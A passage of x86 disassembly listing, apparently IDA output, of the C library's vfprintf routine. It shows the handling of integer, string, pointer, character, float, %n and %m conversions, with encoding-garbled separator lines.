陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050444: ; CODE XREF: vfprintf+9ADj ; DATA XREF: vfprintf+9B4o xor esi, esi ; case 0x5a mov [ebp+var_484], 0 jmp short loc_8050459 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050454: ; CODE XREF: vfprintf+9ADj ; vfprintf+BABj ; DATA XREF: ... mov esi, 1 ; case 0x4c loc_8050459: ; CODE XREF: vfprintf+BA2j ; vfprintf+BB7j ... inc [ebp+var_400] jmp loc_8050218 ; case 0x4c ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050464: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... mov edi, [ebp+arg_0] ; case 0x25 mov edx, [edi+14h] cmp [edi+18h], edx ja short loc_8050488 push 25h push edi call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8050E72 ; case 0x0 jmp short loc_8050494 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050488: ; CODE XREF: vfprintf+BE5j mov ecx, [ebp+arg_0] mov edx, [ecx+14h] mov byte ptr [edx], 25h inc dword ptr [ecx+14h] loc_8050494: ; CODE XREF: vfprintf+BFBj inc [ebp+var_464] jmp loc_8050DC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80504A0: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... mov [ebp+var_4F0], 0Ah ; case 0x64 test esi, esi jz loc_8050538 add [ebp+arg_8], 8 mov ebx, [ebp+arg_8] mov edi, [ebx-8] mov [ebp+var_4EC], edi mov edi, [ebx-4] mov [ebp+var_4E8], edi mov [ebp+var_488], 0 cmp [ebp+var_4E8], 0 jge short loc_80504E4 inc [ebp+var_488] loc_80504E4: ; CODE XREF: vfprintf+C54j mov ecx, [ebp+var_4EC] mov [ebp+var_4EC], ecx mov ecx, [ebp+var_4E8] mov [ebp+var_4E8], ecx cmp [ebp+var_488], 0 jz short loc_8050518 neg [ebp+var_4EC] adc [ebp+var_4E8], 0 neg [ebp+var_4E8] loc_8050518: ; CODE XREF: vfprintf+C7Bj mov ebx, [ebp+var_4EC] mov [ebp+var_49C], ebx mov ebx, [ebp+var_4E8] mov [ebp+var_498], ebx jmp loc_80505D5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050538: ; CODE XREF: vfprintf+C24j cmp [ebp+var_484], 0 jz short loc_8050550 add [ebp+arg_8], 4 mov edi, [ebp+arg_8] mov edx, [edi-4] jmp short loc_805055A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050550: ; CODE XREF: vfprintf+CB7j add [ebp+arg_8], 4 mov ecx, [ebp+arg_8] mov edx, [ecx-4] loc_805055A: ; CODE XREF: vfprintf+CC3j mov ebx, edx shr ebx, 1Fh mov [ebp+var_488], ebx jz short loc_8050569 neg edx loc_8050569: ; CODE XREF: vfprintf+CDDj mov [ebp+var_49C], edx jmp loc_80506C4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050574: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... mov [ebp+var_4F0], 0Ah ; case 0x75 jmp short loc_8050596 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050580: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... mov [ebp+var_4F0], 8 ; case 0x6f jmp short loc_8050596 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805058C: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... mov [ebp+var_4F0], 10h ; case 0x58 loc_8050596: ; CODE XREF: vfprintf+CF6j ; vfprintf+D02j mov [ebp+var_488], 0 mov [ebp+var_478], 0 mov [ebp+var_470], 0 test esi, esi jz loc_8050698 add [ebp+arg_8], 8 mov edi, [ebp+arg_8] mov ecx, [edi-8] mov [ebp+var_49C], ecx mov ecx, [edi-4] mov [ebp+var_498], ecx loc_80505D5: ; CODE XREF: vfprintf+CA8j cmp [ebp+var_490], 0 jl short loc_8050608 mov [ebp+var_494], 20h cmp [ebp+var_490], 0 jnz short loc_8050612 cmp [ebp+var_49C], 0 jnz short loc_8050612 cmp [ebp+var_498], 0 jnz short loc_8050612 lea esi, [ebp+var_1] jmp short loc_8050671 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050608: ; CODE XREF: vfprintf+D54j mov [ebp+var_490], 1 loc_8050612: ; CODE XREF: vfprintf+D64j ; vfprintf+D6Dj ... cmp [ebp+var_4A0], 58h setz dl and edx, 0FFh push edx mov ebx, [ebp+var_4F0] push ebx push ebp push [ebp+var_498] push [ebp+var_49C] call sub_8062714 mov esi, eax dec esi add esp, 14h cmp [ebp+var_47C], 0 jz short loc_8050671 cmp [ebp+var_458], 0 jz short loc_8050671 mov edx, [ebp+var_3F8] push edx mov edi, [ebp+var_458] push edi lea edx, [ebp+var_1] push edx push esi call sub_8052C9C mov esi, eax add esp, 10h loc_8050671: ; CODE XREF: vfprintf+D7Bj ; vfprintf+DC1j ... xor edx, edx cmp [ebp+var_49C], 0 jnz short loc_8050685 cmp [ebp+var_498], 0 jz short loc_805068A loc_8050685: ; CODE XREF: vfprintf+DF2j mov edx, 1 loc_805068A: ; CODE XREF: vfprintf+DFBj mov [ebp+var_49C], edx jmp loc_80507DC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050698: ; CODE XREF: vfprintf+D2Ej cmp [ebp+var_484], 0 jz short loc_80506B4 add [ebp+arg_8], 4 mov ecx, [ebp+arg_8] mov ecx, [ecx-4] mov [ebp+var_49C], ecx jmp short loc_80506C4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80506B4: ; CODE XREF: vfprintf+E17j add [ebp+arg_8], 4 mov ebx, [ebp+arg_8] mov ebx, [ebx-4] mov [ebp+var_49C], ebx loc_80506C4: ; CODE XREF: vfprintf+CE7j ; vfprintf+E29j ... cmp [ebp+var_490], 0 jl short loc_80506F0 mov [ebp+var_494], 20h cmp [ebp+var_490], 0 jnz short loc_80506FA cmp [ebp+var_49C], 0 jnz short loc_80506FA lea esi, [ebp+var_1] jmp loc_80507DC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80506F0: ; CODE XREF: vfprintf+E43j mov [ebp+var_490], 1 loc_80506FA: ; CODE XREF: vfprintf+E53j ; vfprintf+E5Cj mov edx, [ebp+var_49C] mov eax, edx mov edx, ebp mov [ebp+var_4EC], offset a0123456789abcd ; "0123456789abcdefghijklmnopqrstuvwxyz" cmp [ebp+var_4A0], 58h jnz short loc_8050721 mov [ebp+var_4EC], offset a0123456789ab_0 ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" loc_8050721: ; CODE XREF: vfprintf+E8Dj mov esi, edx cmp [ebp+var_4F0], 0Ah jz short loc_8050748 ja short loc_805073C cmp [ebp+var_4F0], 8 jz short loc_805077C jmp short loc_8050794 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805073C: ; CODE XREF: vfprintf+EA4j cmp [ebp+var_4F0], 10h jz short loc_8050764 jmp short loc_8050794 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8050748: ; CODE XREF: vfprintf+EA2j ; vfprintf+ED7j dec esi mov edi, 0Ah xor edx, edx div edi mov ecx, [ebp+var_4EC] mov dl, [edx+ecx] mov [esi], dl test eax, eax jnz short loc_8050748 jmp short loc_80507AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8050764: ; CODE XREF: vfprintf+EBBj ; vfprintf+EF0j dec esi mov edx, eax and edx, 0Fh mov ebx, [ebp+var_4EC] mov dl, [edx+ebx] mov [esi], dl shr eax, 4 jnz short loc_8050764 jmp short loc_80507AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805077C: ; CODE XREF: vfprintf+EADj ; vfprintf+F08j dec esi mov edx, eax and edx, 7 mov edi, [ebp+var_4EC] mov dl, [edx+edi] mov [esi], dl shr eax, 3 jnz short loc_805077C jmp short loc_80507AC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050794: ; CODE XREF: vfprintf+EAFj ; vfprintf+EBDj ... dec esi xor edx, edx div [ebp+var_4F0] mov ecx, [ebp+var_4EC] mov dl, [edx+ecx] mov [esi], dl test eax, eax jnz short loc_8050794 loc_80507AC: ; CODE XREF: vfprintf+ED9j ; vfprintf+EF2j ... dec esi cmp [ebp+var_47C], 0 jz short loc_80507DC cmp [ebp+var_458], 0 jz short loc_80507DC mov edx, [ebp+var_3F8] push edx mov ebx, [ebp+var_458] push ebx lea edx, [ebp+var_1] push edx push esi call sub_8052C9C mov esi, eax add esp, 10h loc_80507DC: ; CODE XREF: vfprintf+E08j ; vfprintf+E61j ... mov edx, esi not edx add edx, ebp sub [ebp+var_48C], edx sub [ebp+var_490], edx cmp [ebp+var_49C], 0 jz short loc_805081C cmp [ebp+var_46C], 0 jz short loc_805081C cmp [ebp+var_4F0], 8 jnz short loc_805081C cmp [ebp+var_490], 0 jg short loc_8050825 mov byte ptr [esi], 30h dec esi dec [ebp+var_48C] loc_805081C: ; CODE XREF: vfprintf+F6Dj ; vfprintf+F76j ... cmp [ebp+var_490], 0 jle short loc_8050858 loc_8050825: ; CODE XREF: vfprintf+F88j mov edi, [ebp+var_490] sub [ebp+var_48C], edi mov edx, [ebp+var_490] dec edi mov [ebp+var_490], edi test edx, edx jle short loc_8050858 lea esi, [esi] loc_8050844: ; CODE XREF: vfprintf+FCEj mov byte ptr [esi], 30h dec esi mov edx, [ebp+var_490] dec [ebp+var_490] test edx, edx jg short loc_8050844 loc_8050858: ; CODE XREF: vfprintf+F9Bj ; vfprintf+FB8j cmp [ebp+var_49C], 0 jz short loc_805087A cmp [ebp+var_46C], 0 jz short loc_805087A cmp [ebp+var_4F0], 10h jnz short loc_805087A add [ebp+var_48C], 0FFFFFFFEh loc_805087A: ; CODE XREF: vfprintf+FD7j ; vfprintf+FE0j ... cmp [ebp+var_488], 0 jnz short loc_8050895 cmp [ebp+var_478], 0 jnz short loc_8050895 cmp [ebp+var_470], 0 jz short loc_805089B loc_8050895: ; CODE XREF: vfprintf+FF9j ; vfprintf+1002j dec [ebp+var_48C] loc_805089B: ; CODE XREF: vfprintf+100Bj cmp [ebp+var_474], 0 jnz short loc_80508C4 cmp [ebp+var_494], 30h jnz short loc_80508C4 jmp short loc_80508B4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80508B0: ; CODE XREF: vfprintf+103Aj mov byte ptr [esi], 30h dec esi loc_80508B4: ; CODE XREF: vfprintf+1025j mov edx, [ebp+var_48C] dec [ebp+var_48C] test edx, edx jg short loc_80508B0 loc_80508C4: ; CODE XREF: vfprintf+101Aj ; vfprintf+1023j cmp [ebp+var_49C], 0 jz short loc_80508EC cmp [ebp+var_46C], 0 jz short loc_80508EC cmp [ebp+var_4F0], 10h jnz short loc_80508EC mov cl, [ebp+var_4A0] mov [esi], cl dec esi mov byte ptr [esi], 30h dec esi loc_80508EC: ; CODE XREF: vfprintf+1043j ; vfprintf+104Cj ... cmp [ebp+var_488], 0 jz short loc_80508FC mov byte ptr [esi], 2Dh jmp short loc_8050918 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80508FC: ; CODE XREF: vfprintf+106Bj cmp [ebp+var_478], 0 jz short loc_805090C mov byte ptr [esi], 2Bh jmp short loc_8050918 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805090C: ; CODE XREF: vfprintf+107Bj cmp [ebp+var_470], 0 jz short loc_8050919 mov byte ptr [esi], 20h loc_8050918: ; CODE XREF: vfprintf+1070j ; vfprintf+1080j dec esi loc_8050919: ; CODE XREF: vfprintf+108Bj cmp [ebp+var_474], 0 jnz short loc_8050944 cmp [ebp+var_494], 20h jnz short loc_8050944 jmp short loc_8050934 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050930: ; CODE XREF: vfprintf+10BAj mov byte ptr [esi], 20h dec esi loc_8050934: ; CODE XREF: vfprintf+10A3j mov edx, [ebp+var_48C] dec [ebp+var_48C] test edx, edx jg short loc_8050930 loc_8050944: ; CODE XREF: vfprintf+1098j ; vfprintf+10A1j mov ebx, [ebp+arg_0] mov ebx, [ebx+50h] mov edi, esi not edi add edi, ebp push edi lea edx, [esi+1] push edx mov ecx, [ebp+arg_0] push ecx mov edx, [ebx+34h] call edx add esp, 0Ch cmp eax, edi jnz loc_8050E72 ; case 0x0 add [ebp+var_464], eax jmp loc_8050B07 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050974: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... mov ecx, [ebp+var_490] ; case 0x45 mov [ebp+var_434], ecx mov ebx, [ebp+var_48C] mov [ebp+var_430], ebx mov cl, [ebp+var_4A0] mov [ebp+var_42C], cl mov [ebp+var_428], esi mov ebx, [ebp+var_480] mov [ebp+var_424], ebx mov edi, [ebp+var_484] mov [ebp+var_420], edi mov ecx, [ebp+var_46C] mov [ebp+var_41C], ecx mov ebx, [ebp+var_470] mov [ebp+var_418], ebx mov edi, [ebp+var_474] mov [ebp+var_414], edi mov ecx, [ebp+var_478] mov [ebp+var_410], ecx mov ebx, [ebp+var_47C] mov [ebp+var_40C], ebx mov cl, [ebp+var_494] mov [ebp+var_408], cl mov eax, offset sub_8053310 test esi, esi jz short loc_8050A2C add [ebp+arg_8], 0Ch mov ebx, [ebp+arg_8] mov edx, [ebx-0Ch] mov [ebp+var_3F4], edx mov edx, [ebx-8] mov [ebp+var_3F0], edx mov edx, [ebx-4] mov [ebp+var_3EC], edx jmp short loc_8050A45 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8050A2C: ; CODE XREF: vfprintf+117Dj add [ebp+arg_8], 8 mov edi, [ebp+arg_8] mov edx, [edi-8] mov [ebp+var_3F4], edx mov edx, [edi-4] mov [ebp+var_3F0], edx loc_8050A45: ; CODE XREF: vfprintf+11A1j lea ecx, [ebp+var_3F4] mov [ebp+var_438], ecx lea edx, [ebp+var_438] push edx lea edx, [ebp+var_434] push edx mov ebx, [ebp+arg_0] push ebx call eax add esp, 0Ch test eax, eax jl loc_8050E72 ; case 0x0 add [ebp+var_464], eax jmp loc_8050DC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8050A7C: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... dec [ebp+var_48C] ; case 0x63 cmp [ebp+var_474], 0 jnz short loc_8050AAF cmp [ebp+var_48C], 0 jle short loc_8050AAF mov edi, [ebp+var_48C] push edi push 20h mov ecx, [ebp+arg_0] push ecx call sub_8062534 add [ebp+var_464], eax add esp, 0Ch loc_8050AAF: ; CODE XREF: vfprintf+1201j ; vfprintf+120Aj add [ebp+arg_8], 4 mov ebx, [ebp+arg_8] movzx eax, byte ptr [ebx-4] mov edi, [ebp+arg_0] mov edx, [edi+14h] cmp [edi+18h], edx ja short loc_8050AE0 movzx edx, al push edx push edi call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8050E72 ; case 0x0 jmp short loc_8050B01 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050AE0: ; CODE XREF: vfprintf+123Bj mov ecx, [ebp+arg_0] mov edx, [ecx+14h] mov byte ptr [ebp+var_4D8], al mov [edx], al movzx edx, byte ptr [ebp+var_4D8] inc dword ptr [ecx+14h] cmp edx, 0FFFFFFFFh jz loc_8050E72 ; case 0x0 loc_8050B01: ; CODE XREF: vfprintf+1253j inc [ebp+var_464] loc_8050B07: ; CODE XREF: vfprintf+10E7j cmp [ebp+var_474], 0 jz loc_8050DC4 cmp [ebp+var_48C], 0 jle loc_8050DC4 mov ebx, [ebp+var_48C] push ebx push 20h mov edi, [ebp+arg_0] push edi jmp loc_8050C8F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8050B34: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... add [ebp+arg_8], 4 ; case 0x73 mov ecx, [ebp+arg_8] mov esi, [ecx-4] loc_8050B3E: ; CODE XREF: vfprintf+1470j ; vfprintf+1480j ... test esi, esi jnz short loc_8050B7C cmp [ebp+var_490], 0FFFFFFFFh jz short loc_8050B54 cmp [ebp+var_490], 5 jle short loc_8050B68 loc_8050B54: ; CODE XREF: vfprintf+12C1j mov esi, offset aNull ; "(null)" mov [ebp+var_4F0], 6 jmp loc_8050C00 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050B68: ; CODE XREF: vfprintf+12CAj mov esi, offset unk_8067EEB mov [ebp+var_4F0], 0 jmp loc_8050C00 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050B7C: ; CODE XREF: vfprintf+12B8j cmp [ebp+var_490], 0FFFFFFFFh jnz short loc_8050BDC xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx dec edx mov [ebp+var_4F0], edx cmp [ebp+var_48C], 0 jnz short loc_8050C00 mov edi, [ebp+arg_0] mov edx, [edi+50h] mov ecx, [ebp+var_4F0] push ecx push esi push edi mov edx, [edx+34h] call edx add esp, 0Ch cmp [ebp+var_4F0], eax jnz loc_8050E72 ; case 0x0 mov ebx, [ebp+var_4F0] add [ebp+var_464], ebx jmp loc_8050DC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050BDC: ; CODE XREF: vfprintf+12FBj mov ebx, [ebp+var_490] push ebx push 0 push esi call sub_80575C0 add esp, 0Ch mov [ebp+var_4F0], ebx test eax, eax jz short loc_8050C00 sub eax, esi mov [ebp+var_4F0], eax loc_8050C00: ; CODE XREF: vfprintf+12DBj ; vfprintf+12EFj ... mov edi, [ebp+var_4F0] sub [ebp+var_48C], edi cmp [ebp+var_474], 0 jnz short loc_8050C39 cmp [ebp+var_48C], 0 jle short loc_8050C39 mov ecx, [ebp+var_48C] push ecx push 20h mov ebx, [ebp+arg_0] push ebx call sub_8062534 add [ebp+var_464], eax add esp, 0Ch loc_8050C39: ; CODE XREF: vfprintf+138Bj ; vfprintf+1394j mov edi, [ebp+arg_0] mov edx, [edi+50h] mov ecx, [ebp+var_4F0] push ecx push esi push edi mov edx, [edx+34h] call edx add esp, 0Ch cmp [ebp+var_4F0], eax jnz loc_8050E72 ; case 0x0 mov ebx, [ebp+var_4F0] add [ebp+var_464], ebx cmp [ebp+var_474], 0 jz loc_8050DC4 cmp [ebp+var_48C], 0 jle loc_8050DC4 mov edi, [ebp+var_48C] push edi push 20h mov ecx, [ebp+arg_0] push ecx loc_8050C8F: ; CODE XREF: vfprintf+12A6j call sub_8062534 add [ebp+var_464], eax add esp, 0Ch jmp loc_8050DC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050CA4: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... add [ebp+arg_8], 4 ; case 0x70 mov ebx, [ebp+arg_8] mov edx, [ebx-4] test edx, edx jz short loc_8050CEC mov [ebp+var_4F0], 10h mov [ebp+var_49C], edx mov [ebp+var_488], 0 mov [ebp+var_46C], 1 mov [ebp+var_47C], 0 mov [ebp+var_4A0], 78h jmp loc_80506C4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050CEC: ; CODE XREF: vfprintf+1428j mov esi, offset aNil_0 ; "(nil)" cmp [ebp+var_490], 4 jg loc_8050B3E mov [ebp+var_490], 5 jmp loc_8050B3E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050D10: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... test esi, esi ; case 0x6e jz short loc_8050D48 add [ebp+arg_8], 4 mov edi, [ebp+arg_8] mov eax, [edi-4] mov ecx, [ebp+var_464] xor ebx, ebx mov [ebp+var_4E0], ecx mov [ebp+var_4DC], ebx mov ebx, [ebp+var_4E0] mov [eax], ebx mov ebx, [ebp+var_4DC] mov [eax+4], ebx jmp short loc_8050DC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050D48: ; CODE XREF: vfprintf+148Aj cmp [ebp+var_484], 0 jz short loc_8050D68 add [ebp+arg_8], 4 mov edi, [ebp+arg_8] mov edx, [edi-4] mov ecx, [ebp+var_464] mov [edx], ecx jmp short loc_8050DC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050D68: ; CODE XREF: vfprintf+14C7j cmp [ebp+var_480], 0 jnz short loc_8050D88 add [ebp+arg_8], 4 mov ebx, [ebp+arg_8] mov edx, [ebx-4] mov edi, [ebp+var_464] mov [edx], edi jmp short loc_8050DC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050D88: ; CODE XREF: vfprintf+14E7j add [ebp+arg_8], 4 mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov bx, word ptr [ebp+var_464] mov [edx], bx jmp short loc_8050DC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050DA0: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... push 3E8h ; case 0x6d lea edx, [ebp+var_3E8] push edx mov edx, __errno push edx call sub_8056E14 mov esi, eax add esp, 0Ch jmp loc_8050B3E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050DC4: ; CODE XREF: vfprintf+C12j ; vfprintf+11EEj ... inc [ebp+var_400] mov esi, [ebp+var_400] mov [ebp+var_4F0], esi cmp byte ptr [esi], 0 jz short loc_8050E19 nop loc_8050DDC: ; CODE XREF: vfprintf+158Fj mov edi, [ebp+var_4F0] cmp byte ptr [edi], 25h jz short loc_8050E19 cmp byte ptr [edi], 0 jge short loc_8050DFD push 1 push edi push 0 call sub_805602C add esp, 0Ch test eax, eax jg short loc_8050E08 loc_8050DFD: ; CODE XREF: vfprintf+1562j inc [ebp+var_4F0] jmp short loc_8050E0E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050E08: ; CODE XREF: vfprintf+1573j add 